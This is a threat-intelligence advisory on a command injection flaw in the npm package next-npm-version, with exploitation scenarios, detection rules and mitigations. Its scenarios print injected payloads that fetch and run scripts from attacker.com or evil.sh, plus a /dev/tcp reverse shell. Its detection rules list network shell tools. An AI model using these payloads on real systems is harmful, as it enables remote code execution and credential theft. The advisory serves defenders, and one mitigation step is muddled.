CVE-2025-63706
Executive Summary
CVE-2025-63706 is a command injection vulnerability identified in version 1.0.1 of the npm package next-npm-version. This package, which appears designed to programmatically retrieve and manage versioning information from npm registries, fails to sanitize user-supplied input before passing it to a system shell command. An attacker who can control the package name, version string, or registry URL argument processed by this package can achieve arbitrary command execution on the host where the vulnerable code runs. The package is likely used in CI/CD pipelines, build automation scripts, and developer tooling — environments where the executing user may hold elevated credentials, dramatically increasing the impact. As of this report, there is no patch available, and the CVSS score has not been assigned, but based on the vulnerability class and the likely execution context, the potential severity ranges from High to Critical.
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Technical Analysis
The core vulnerability in next-npm-version@1.0.1 stems from the use of a shell command that concatenates user-controlled values (such as an npm package name or a version registry URL) into a system call without adequate sanitization or escaping. In Node.js, this typically manifests via usage of child_process.exec() rather than execFile() or spawn() with an argument array. The exec() function invokes a system shell (/bin/sh on Linux, cmd.exe on Windows), and any shell metacharacters (;, |, &, \ $(), backticks) present in the concatenated string are interpreted, not treated as literal data.
Mechanism (code-level):
Consider a hypothetically representative implementation of the vulnerable pattern:
const { exec } = require('child_process');
function getLatestVersion(pkgName) {
// VULNERABLE: pkgName concatenated into shell command
exec(`npm view ${pkgName} version`, (err, stdout, stderr) => {
if (err) { /* handle */ }
return stdout.trim();
});
}
An attacker who can influence pkgName — for example, by supplying it as input to another tool that wraps next-npm-version, or via a malicious registry response — can inject shell commands. A payload like lodash; curl http://evil.sh | sh would result in the shell executing npm view lodash version followed by the attacker's payload.
Attack surface:
- Direct library consumers: Developers who import
next-npm-versioninto their own scripts and pass untrusted package names or URLs. - Wrapper tools and plugins: Any utility that wraps
next-npm-versionand exposes a user-input-driven API (CLI arguments, web form, API parameter, or file input) acts as a relay, expanding the attack surface. - CI/CD pipelines: If the package is used in a continuous integration/deployment pipeline to check dependencies, an attacker who can influence the package definition file (e.g., a pull request from a contributor modifying a
package.jsonor a build configuration file) could trigger command injection, achieving code execution on CI runners. - Server-side applications: If the library is imported into a Node.js web server and a user-controlled query parameter is passed as the package name, it becomes a remote code execution vector.
The absence of a CVSS vector is notable; NVD has not yet scored this CVE. However, command injection in a Node.js context with potential remote or semi-remote trigger vectors typically scores 8.8–9.8 (High–Critical) under CVSS v3.1, depending on privileges and attack complexity.
Exploitation Scenarios
Since no public PoC is currently available, the following scenario is a technically precise chain based on the command injection vulnerability class and the likely attack surface of next-npm-version. Because the package lacks input validation, the scenario assumes an application or wrapper exposes the vulnerable function to untrusted input.
Scenario 1: Exploitation via a vulnerable wrapper web application (Remote Code Execution)
Step 1 — Reconnaissance: The attacker identifies a publicly accessible Node.js web application that offers a "package version lookup" endpoint (e.g., GET /api/version?pkg=express). Through API documentation, response fingerprinting (observing error messages revealing the npm view or next-npm-version internals), or source code leakage, the attacker determines the application proxies requests to next-npm-version.
Step 2 — Trigger/Weaponization: The attacker crafts a GET request where the pkg parameter contains a shell injection payload:
GET /api/version?pkg=lodash%3B%20wget%20http%3A%2F%2Fattacker.com%2Fshell.sh%20-O%20%2Ftmp%2Fshell.sh%20%26%26%20bash%20%2Ftmp%2Fshell.sh
URL-decoded, the payload is: lodash; wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh
Step 3 — Payload/Execution: The vulnerable application passes the unfiltered pkg value to next-npm-version, which executes exec("npm view " + pkg + " version"). The shell intercepts the semicolon, runs npm view lodash version (harmless), then downloads and executes the attacker's shell script. The script connects back to the attacker's C2 server via a reverse shell (bash -i >& /dev/tcp/attacker.com/4444 0>&1).
Step 4 — Post-exploitation: The attacker gains a shell on the server. If the application runs with elevated privileges (common in misconfigured Docker containers), the attacker escalates to root, exfiltrates database credentials from environment variables, pivots laterally within the internal network, or deploys a persistent backdoor by injecting into the application's startup scripts.
Scenario 2: Supply chain attack via CI/CD pipeline poisoning
Step 1 — Reconnaissance: The attacker submits a pull request to a public repository that uses next-npm-version in its GitHub Actions or Jenkins pipeline to verify dependency versions.
Step 2 — Trigger: The PR modifies package.json — the commit sets a custom "engines" or a dependency alias field containing: "my-test-dep": "express; curl http://attacker.com/payload.sh | sh". The pipeline script reads this value and passes it to next-npm-version to check the latest version.
Step 3 — Execution: When the CI job runs, the injected string is concatenated into the exec() call. The pipe character | triggers the shell to pipe the output of npm view into the attacker's curl | sh chain, executing payload.sh with the CI runner's service account credentials (often write access to the repo and cloud registry).
Step 4 — Post-exploitation: The attacker uses the compromised runner to inject malicious packages into the organization's artifact registry, steal signing keys, or exfiltrate deployment secrets stored in the CI environment.
Impact Assessment
Business impact: Command injection grants arbitrary code execution. Depending on the deployment context, this results in:
- Confidentiality: Theft of source code, secrets, environment variables, and customer data.
- Integrity: Unauthorized modification of application files, build artifacts, or source code (especially in CI pipelines).
- Availability: Ransomware deployment, destructive shell commands (
rm -rf), or resource exhaustion attacks.
Affected systems: Any system running next-npm-version@1.0.1 — primarily development workstations, CI/CD runners, and Node.js backend services. There is no validated mitigation or patched version, so all deployments of 1.0.1 are exposed.
Blast radius: The exact CVSS vector was not disclosed (N/A). However, as an unauthenticated, remotely triggerable command injection (if the input is relayed via a web-facing service), one would anticipate a network-based exploitability vector (AV:N), low attack complexity (AC:L), no required privileges (PR:N), and no user interaction (UI:N). These characteristics align with scores in the 8.8–9.8 range (High–Critical). If restricted to CI-only ingestion of package names from a package.json file, the score would drop due to local vector (AV:L) and the need for another actor to submit a malicious file, but the confidentiality/availability impacts remain high due to credential exposure.
Detection Guidance
Sigma Rule
title: Suspicious Shell Execution via next-npm-version
id: 9baf8e11-2f66-4d1a-9d5f-20f213f3d3a6
status: experimental
description: Detects child process creation patterns where an npm view command is executed alongside shell metacharacters/operators, indicating potential command injection in next-npm-version@1.0.1.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-63706
author: Valtersit Threat Intel
date: 2025/10/26
logsource:
category: process_creation
product: linux
definition: 'Requires auditd or Sysmon-like process creation events on host'
detection:
selection_parent:
ParentImage: '*node*'
selection_command:
Image: '/bin/sh'
CommandLine|contains|all:
- 'npm view'
- 'version'
selection_injection_indicators:
CommandLine|contains:
- ';'
- '|'
- '&&'
- '`'
- '$('
- '> /tmp/'
- '-o /tmp/'
condition: selection_parent and selection_command and selection_injection_indicators
falsepositives:
- Legitimate complex shell operations in npm scripts (rare)
level: high
fields:
- CommandLine
- ParentImage
- User
tags:
- attack.execution
- attack.t1203
- cve.2025.63706
YARA Rule
rule CVE_2025_63706_next_npm_version_Command_Injection
{
meta:
author = "Valtersit Threat Intel"
description = "Detects source code or log lines referencing the vulnerable next-npm-version library and leveraging child_process.exec without sanitization."
date = "2025-10-26"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-63706"
severity = "high"
strings:
$a = /require\(\s*['"]next-npm-version['"]\s*\)/
$b = /from\s+['"]next-npm-version['"]/
$c = /child_process['"].*\.exec\s*\(/ nocase
$d = /exec\(\s*[`'"]\+?\s*[a-zA-Z_]+.*npm\s+view/ nocase
$e = /npm view\s+\$\{?\s*[a-zA-Z_]/ nocase
condition:
(uint16(0) == 0x5A4D or filesize < 50KB) and
(#a > 0 or #b > 0) and
(#c > 0) and
(#d > 0 or #e > 0)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2025-63706 - Possible next-npm-version Command Injection via HTTP Parameter"; flow:established,to_server; content:"GET"; http_method; content:"/api/version"; http_uri; nocase; content:"pkg="; http_uri; nocase; pcre:"/(?:pkg=)[^&]*(?:%3B|%7C|%26%26|%60|%24%28|;|\||&&|`|\$\()/i"; reference:cve,2025-63706; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-63706; classtype:attempted-admin; sid:202563706; rev:1;)
Elastic Detection
// EQL rule to detect command injection via npm view shell execution
sequence by process.entity_id with maxspan=5s
[ process where process.name == "sh" and
process.parent.name == "node" and
process.command_line contains "npm view" and
(process.command_line contains ";" or
process.command_line contains "|" or
process.command_line contains "&&" or
process.command_line contains "$(" or
process.command_line contains "`") ]
[ file where event.action == "execution" and
file.name in ("curl", "wget", "bash", "sh") and
process.parent.pid == <previous process pid> ]
Splunk SPL Query
index=main process_execution
| search parent_process=*node* process=*sh*
| regex process_command_line=".*npm view.*(;|\||&&|`|\$\()"
| rex field=process_command_line "(?<injected_command>(?<=;|\||&&|`|\$\().*)"
| stats count by host, user, process_command_line, injected_command, parent_process
| where count > 0
| table _time, host, user, parent_process, process_command_line, injected_command
| sort - _time
Wazuh OSSEC Rule
<group name="syslog,command_injection,">
<rule id="637061" level="12">
<if_sid>5710</if_sid>
<match>npm view</match>
<regex>(\;|\||&&|`|\$\().*(curl|wget|bash|nc|python|perl)</regex>
<description>CVE-2025-63706 - Command injection attempt via next-npm-version (child_process.exec)</description>
<mitre>
<id>T1203</id>
</mitre>
<group>cve-2025-63706</group>
</rule>
<rule id="637062" level="10">
<if_sid>5715</if_sid> <!-- auditd syscall execve -->
<field name="audit.cmd">.*npm view.*</field>
<field name="audit.cmd">(;|\||&&|`|\$\()</field>
<description>CVE-2025-63706 - node process executing suspicious shell sequence for npm view</description>
<group>cve-2025-63706</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source). The vendor has not released a fix, affected versions are not explicitly listed beyond 1.0.1 (with 1.0.1 confirmed vulnerable; earlier versions presumed vulnerable), and no advisory from the project maintainer has been published. The only definitive mitigation is to remove the dependency.
Immediate mitigations (apply now):
- Remove the dependency: Migrate to the native
npmCLI orchild_process.execFile()with an argument array (e.g.,execFile('npm', ['view', pkgName, 'version'])) in your own custom wrapper to prevent shell interpretation. - Pin and replace: If this is a transitive dependency, over-ride it in your
package.jsonvia"overrides": {"next-npm-version": "1.0.1"}points to a non-existent safe version, but the correct step is to find a fork that patches this or implement an inline script. - Restrict execution context: Ensure any process using this package runs under a least-privilege service account with no network egress. Apply network egress controls (firewall/security group) to block outbound connections to suspicious destinations.
- Input validation: If you must continue using the vulnerable package temporarily, sanitize all inputs to the wrapper — reject any string containing shell metacharacters (
;,|,&,`,$(), newlines) via a whitelist of^[a-zA-Z0-9@_\-\.]+$.
Patch/upgrade steps:
- Check the npm registry for
next-npm-versionversions — runnpm view next-npm-version versions. If a version > 1.0.1 appears, upgrade:npm install next-npm-version@<latest> --save-exact. - If no updated version exists, monitor the GitHub repository or npm package page daily for security release notices.
- In CI/CD, add a step to fail the build if
next-npm-versionappears in the dependency tree:npm ls next-npm-version && echo "VULNERABLE PACKAGE FOUND" && exit 1
Long-term hardening:
- SBOM and policy enforcement: Adopt a software bill of materials (SBOM) and use policy-as-code (e.g., Open Policy Agent, Snyk, Dependabot) to block packages with outstanding RCE-level CVEs.
- Static analysis: Run CodeQL or Semgrep with rules for
child_process.execto catch unsafe shell invocation patterns in your application code before merge. - Monitor CISA KEV: CISA KEV currently marks this CVE as NO, meaning it is not yet known to be exploited in the wild. Recheck weekly at https://www.cisa.gov/known-exploited-vulnerabilities-catalog.
- Runtime protection: Deploy an endpoint detection and response (EDR) or host-based intrusion detection system (HIDS) with rules (like the Sigma/YARA rules above) to alert on suspicious
npm viewshell behavior.
References
NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-63706 — Official NVD record (currently lacks CVSS vector and complete description; monitor for updates).
npm Package Registry (potentially malicious):
npm view next-npm-version@1.0.1— Use your internal registry credentials to inspect the package metadata and identify the author, repository URL, and security-related keywords; caution: the package may be designed as a typosquatiting attack onnpm-version.MITRE ATT&CK Framework — T1203 (Execution via Exploitation of Client-Side/Supplied Data): https://attack.mitre.org/techniques/T1203/ — The parent tactic for command injection triggered via user-supplied input concatenated into shell commands.
CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Check the current status of CVE-2025-63706 (no entries as of this report; refresh routinely).
Node.js Security Best Practices / OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection — Reference for validating that
child_process.execmust be replaced withexecFile/spawnwhen handling untrusted input.
Threat intelligence note: As of the publication date (October 2025), there are no reported threat actor campaigns or exploitation-in-the-wild evidence for CVE-2025-63706. The CISA KEV flag remains "NO". However, given that the vulnerability class (command injection in Node.js CLI helper packages) is aggressively targeted by botnets, cryptomining groups (e.g., TeamTNT), and initial access brokers, the absence of public PoCs should not be interpreted as absence of risk — especially for internet-facing deployments. The package may also be a typosquat; assess its provenance before any near-term usage.
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